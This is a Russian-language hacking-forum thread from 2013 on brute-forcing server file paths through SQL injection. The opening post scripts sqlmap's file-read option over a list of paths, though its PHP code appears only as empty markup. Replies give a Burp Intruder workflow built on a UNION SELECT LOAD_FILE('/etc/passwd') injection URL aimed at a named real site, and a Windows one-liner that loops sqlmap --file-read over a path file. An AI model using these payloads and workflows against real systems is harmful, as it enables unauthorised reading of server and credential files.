HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 19.02.2013, 23:44
Tyc00n
Познающий
Регистрация: 13.01.2007
Сообщений: 96
С нами: 10171592

Репутация: 50
По умолчанию

Бывает так, что у нас есть SQL-INJ и пользователь с правами на чтение/запись, но вот беда, полного пути у нас нету, и никаких ошибок сайт не выдает, что же делать?

Те кто работал с sqlmap'ом знают, что при попытке чтения файла (например --read-file="/etc/passwd") создается файл в директории sqlmapa /output/[sitename]/files/ и если файл не существует на сервере или он просто был пуст, то пустой файл создастся в этой папке. Если же файл удалось прочесть, то мы получим его в этой же директории.

Мы знаем, где-то в недрах сервера есть логи с нужными нам путями, но как их получить? Не перебирать же нам всё ручками ? Для решение этой проблемы подойдет след. способ.

Пример использования на локальном сервере.

Создаем отдельную папку на локальном сервере, копируем туда весь sqlmap с сессиями уже раскрученных sql-ing нужных нам сайтов (не обязательно, но так меньше путанницы будет) и пишем скрипт (назовем его index.php) след. содержания

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
Где C:\path\to\sqlmap\sqlmap.py путь до sqlmapa, и http://www.site.ru/index.php?id=1 sql-inj.

Файл path.txt содержит в себе путь до файлов которые нужно перебрать (прикреплю ниже).

sleep(1); делаем паузу между запросами, можно сделать средствами sqlmapa командой --delay=1

После этого запускаем скрипт и смотрим как в папке sqlmapa /output/[sitename]/files/ появляются файлы, делаем сортировку по размеру файлов и ищем нужную нам инфу

Ссылка на скрипт и path.txt

http://www.sendspace.com/file/4ikgd1

Ссылка на sqlmap

http://sqlmap.org/

Tyc00n (c) 2013
 
Ответить с цитированием

  #2  
Старый 20.02.2013, 11:26
m0nzt3r
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
С нами: 11517446

Репутация: 2258


По умолчанию

жесть, зачем это??
__________________
Elite VPN from Green. Quality. Click and buy!!!

Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
 
Ответить с цитированием

  #3  
Старый 20.02.2013, 12:08
Sleep
Участник форума
Регистрация: 31.10.2007
Сообщений: 193
С нами: 9752260

Репутация: 150
По умолчанию

зачем так извращатся. легче заюзать Burp Suite.
 
Ответить с цитированием

  #4  
Старый 20.02.2013, 16:16
Tyc00n
Познающий
Регистрация: 13.01.2007
Сообщений: 96
С нами: 10171592

Репутация: 50
По умолчанию

Метод для извращенцев, готов выстушать аналогию на Burp'e
 
Ответить с цитированием

  #5  
Старый 20.02.2013, 19:42
Sleep
Участник форума
Регистрация: 31.10.2007
Сообщений: 193
С нами: 9752260

Репутация: 150
По умолчанию

переходим по линку:

http://www.asra.com/e-news.php?id=-2+union+select+1,LOAD_FILE('/etc/passwd'),3,4,5,6--

в burp"e ловим запрос.

Action->send to intruder

делаем также

http://makescreen.ru/i/d9a16a9c0e8bc...038a240e93.jpg

переходим на вклудку Position

делаем также

http://makescreen.ru/i/f16fb25ee762d...9ed6e46498.jpg

сверхку нажимаем intruder->start attack

http://makescreen.ru/i/8dd9eb8205f9b...a1e6111bb9.jpg

всё).

можно всё настроить как нужно. на вкладке Options есть много чего интересного.также очень удобно юзать при LFI есть функция добавки префиксов и т.д
 
Ответить с цитированием

  #6  
Старый 20.02.2013, 20:08
\/IRUS
Постоянный
Регистрация: 03.08.2012
Сообщений: 371
С нами: 7250006

Репутация: 37
По умолчанию

Пджди птчок... юзать PHP скрипт для запуска тулзы полностью написанной на Python-e ?

Хотя соглашусь что вариант Sleep еще сложней =)

Там 2 строчки в SQLmap-е нужно дописать чтобы оно делало LOAD_FILE в цикле читая файл с путями.
 
Ответить с цитированием

  #7  
Старый 06.04.2013, 21:48
gmiller
Новичок
Регистрация: 18.05.2011
Сообщений: 9
С нами: 7887926

Репутация: 0
По умолчанию

В Windows эту задачу я решаю таким способом:

for /F %i in (pathes.txt) do sqlmap.py -u "http://www.site.com/show.php?id=2" --random-agent --thread 10 --batch --file-read=%i

pathes.txt - файл с путями котрые проверяем
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.